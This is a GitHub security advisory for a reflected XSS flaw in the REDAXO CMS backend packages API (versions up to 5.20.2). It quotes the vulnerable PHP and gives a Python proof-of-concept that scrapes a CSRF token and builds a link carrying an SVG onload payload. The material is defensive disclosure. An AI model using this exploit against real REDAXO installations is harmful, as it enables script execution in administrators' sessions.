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Reflected XSS in REDAXO backend packages API via function parameter (CSRF token required)

Low
gharlan published GHSA-xq4j-g85q-wf97 Apr 9, 2026

Package

composer redaxo/source (Composer)

Affected versions

<= 5.20.2

Patched versions

5.21.0

Description

Summary

I identified a reflected XSS vulnerability in the REDAXO backend. The function parameter is concatenated into an API error message and rendered without HTML escaping.

Details

Root cause
User input function is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (redaxo/src/core/lib/packages/api_package.php) :

$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');

Sink (redaxo/src/core/lib/view.php) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Source -> sink flow

  • Source: function (GET)
  • Propagation: concatenated into the exception message
  • Sink: rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required: yes (backend session)

PoC - Exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"

# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx

https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598

"

VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\\"><svg/onload=alert("Pwned")>'

def build_backend_url() -> str:
    base = TARGET_URL.rstrip('/')
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
    if not m:
        raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
    return m.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Backend session required (role with access to packages)
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "packages",
        "rex-api-call": "package",
        "function": PAYLOAD,
        "package": "nonexistent",
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.

Impact

  • Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
  • Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
  • Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Demo

XSS_1.mp4

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits